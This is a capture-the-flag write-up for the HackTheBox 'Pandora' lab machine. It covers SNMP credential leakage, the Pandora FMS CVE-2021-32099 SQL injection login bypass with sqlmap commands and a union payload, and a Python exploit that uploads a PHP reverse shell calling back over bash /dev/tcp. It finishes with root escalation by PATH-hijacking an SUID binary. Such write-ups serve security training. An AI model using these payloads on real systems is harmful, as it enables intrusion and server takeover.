Home Hackthebox - Pandora
Post
Cancel

Hackthebox - Pandora

x00tex

Enumeration

IP-ADDR: 10.10.11.136 pandora.htb

nmap scan: TCP/IP

1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Noting interested found webapp, except a hostname panda.htb from multiple places on /index.html

nmap scan: UDP

1
2
PORT    STATE         SERVICE
161/udp open|filtered snmp

Foothold

enumerating SNMP

  • Check pit box write-up for detail information on SNMP

after running for a while, snmpwalk found some strings from “hrSWRunParameters” in which found some creds.

1
2
❯ snmpwalk -v2c -c public 10.10.11.136 1.3.6.1.2.1.25.4.2.1.5.822
HOST-RESOURCES-MIB::hrSWRunParameters.822 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
  • Creds: daniel:HotelBabylon23
  • you could run snmpwalk -v2c -c public 10.10.11.136 hrSWRunParameters to view all stings.

And successfully logged-in into SSH with found creds.

Lateral movement

There are 2 interesting binaries

1
2
/usr/bin/pandora_backup
/usr/bin/host_check

And 1 more user besides “daniel”,

1
matt:x:1000:1000:matt:/home/matt:/bin/bash

Who have access to SUID binary /usr/bin/pandora_backup

1
-rwsr-x--- 1 root matt 16816 Dec  3 15:58 /usr/bin/pandora_backup

There are 2 www direcotries

1
2
drwxr-xr-x 3 root root 4096 Dec  7 14:32 html
drwxr-xr-x 3 matt matt 4096 Dec  7 14:32 pandora

“Pandora” is owned by user “matt”

Viewing /etc/hosts file found another vHost pandora.pandora.htb

1
2
3
daniel@pandora:/var/www/pandora$ cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora

But “Pandora” is not available from remote because it is configured to access only from localhost

1
2
3
4
5
6
7
8
9
10
11
12
daniel@pandora:/etc/apache2/sites-available$ cat pandora.conf 
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>

And service running is “Pandora FMS

1
2
daniel@pandora:/etc/apache2/sites-available$ curl -s http://127.0.0.1/pandora_console/ | grep -i '<title>'
	<title>Pandora FMS - the Flexible Monitoring System</title>

One way we can access to this localhost services is using ssh dynamic port forwarding

1
ssh -D 4141 daniel@10.10.11.136

Then, there are multiple ways to configure proxy using proxychains, shell env_variable, browser proxy add-on, burpsuite.

  • proxychains: Append “socks5 127.0.0.1 4141” line in the end of the “/etc/proxychains.conf” and comment out any other active proxy.
  • shell env_variable: Run following command: export http_proxy=socks5://127.0.0.1:4141
  • browser proxy add-on: Use “FoxyProxy” and add new proxy rule for “Proxy Type=SOCKS5”, “IP=127.0.0.1”, “PORT=4141”
  • Burpsuite: If you are using burp than check this - “User options –> Connections –> SOCKS proxy”

Pandora FMS - SQLi and file upload

  • Running version is: v7.0NG.742_FIX_PERL2020, Found in the bottom of the login page

Login with creds return some access limitations error

There are some bugs in Pandora FMS 742

  • Disclosure Blog: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
  • CVE Detail: https://www.cvedetails.com/cve/CVE-2021-32099/Artica-Pandora-Fms-742.html
  • PoC Video: https://youtu.be/61KE45V7VT8

CVE-2021-32099: A SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass.

Used to bypass login.

Code review

Here is the step file of Pandora FMS v7.0NG.742

but we are going to read sourcecode from /var/www/pandora/pandora_console

It start from ./include/chart_generator.php

session_id parameter value assign to phpsessionid and pass to ./include/lib/User.php

Here phpsessionid value assign to id_session and pass to db_get_row_filter() function.

This function found in many places but we are intrested in mysql’s version (because ss -lntp PORT 3306) of that function which found in ./include/db/mysql.php

So, here is the sql query statement sprintf('SELECT %s FROM %s %s', $fields, $table, $filter)

And here’s how it looks like, when it get executed

  • fields == *
  • table == tsessions_php
  • filter == id_session == phpsessionid == session_id
1
SELECT * FROM tsessions_php WHERE id_session=session_id

SQLMAP

We have enough information, Time to run sqlmap

1
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141'

1
2
3
4
5
6
7
8
9
10
11
12
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141' --technique=E --dbs
... [snip] ...
[18:13:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: PHP, Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:13:19] [INFO] fetching database names
[18:13:20] [INFO] retrieved: 'information_schema'
[18:13:21] [INFO] retrieved: 'pandora'
available databases [2]:
[*] information_schema
[*] pandora
1
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141' --technique=E -D pandora -T tsessions_php --dump

Here are those session and there decoded values.

Copy admin cookie encode value from “id_session” column and replace “PHPSESSID” value with it using cookie editor and refresh pandora login page.

Or you could use some sql inject payload to set your session as admin without dumping table everytime using /include/chart_generator.php parameter session_id with sql injection payload.

1
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' union select 'NULL','NULL','id_usuario|s:5:"admin";'-- -

And the complete query looks like this

1
SELECT * FROM tsessions_php WHERE id_session='1' union select 'NULL','NULL','id_usuario|s:5:"admin";'-- -

File Upload

And here we have admin panel with insecure file upload function

If you intercept file upload request you will found upload location is /var/www/pandora/pandora_console/images that means /pandora_console/images from web server.

We have done so much and here is the python presentation of it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import netifaces as ni

base_path = "http://127.0.0.1/pandora_console"
tun0_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
rev = f"<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/{tun0_ip}/4242 0>&1'\"); ?>"
s = requests.Session()
s.proxies = {"http": "socks5://127.0.0.1:4141"}
sqli = "/include/chart_generator.php?session_id=1' union select '1','2','id_usuario|s:5:\"admin\";' -- -"
sess = s.post(base_path + sqli)
if "Pandora FMS Graph ( - )" in sess.text:
    print("[ + ] Logged in!")
    file_ = {'file': ("shell.php", rev, 'application/x-php'),
             'umask': (None, None),
             'decompress_sent': (None, 1),
             'go': (None, 'Go'),
             'real_directory': (None, '/var/www/pandora/pandora_console/images'),
             'directory': (None, 'images'),
             'hash': (None, '6427eed956c3b836eb0644629a183a9b'),
             'hash2': (None, '594175347dddf7a54cc03f6c6d0f04b4'),
             'upload_file_or_zip': (None, 1)}
    shell_upload = s.post(base_path + "/index.php?sec=gsetup&sec2=godmode/setup/file_manager", files=file_)
    if "Uploaded successfully" in shell_upload.text:
        print("[ + ] Great. PHP script uploaded... Now going to execute for you...")
        try:
            f = s.get(base_path + '/images/shell.php', timeout=0.0001)
            print(f.text)
        except requests.exceptions.ReadTimeout:
            pass
    else:
        print("[ - ] Failed to upload PHP script...")
        print(shell_upload.text)
else:
    print("[ - ] Cannot login to PandoraFMS...")

Privesc

setresuid Restriction Bypass

Now we can access to /usr/bin/pandora_backup.

But running sudo -l gives an error

1
2
3
(remote) matt@pandora:/home/matt$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

And this error tells that user don’t have permission to run setresuid() function.

That means we can not able to run suid binaries as root.

we could use at command to bypass shell restriction

1
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Now, Running strings on that bianry found 1 command, That this bianry is executing

1
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*

Here we can exploit tar command absolute path as bianry is not using tar command absolute path

1
2
3
4
5
cd /tmp
echo "/bin/bash" > tar
chmod 777 tar
export PATH=/tmp:$PATH
/usr/bin/pandora_backup

This post is licensed under CC BY 4.0 by the author.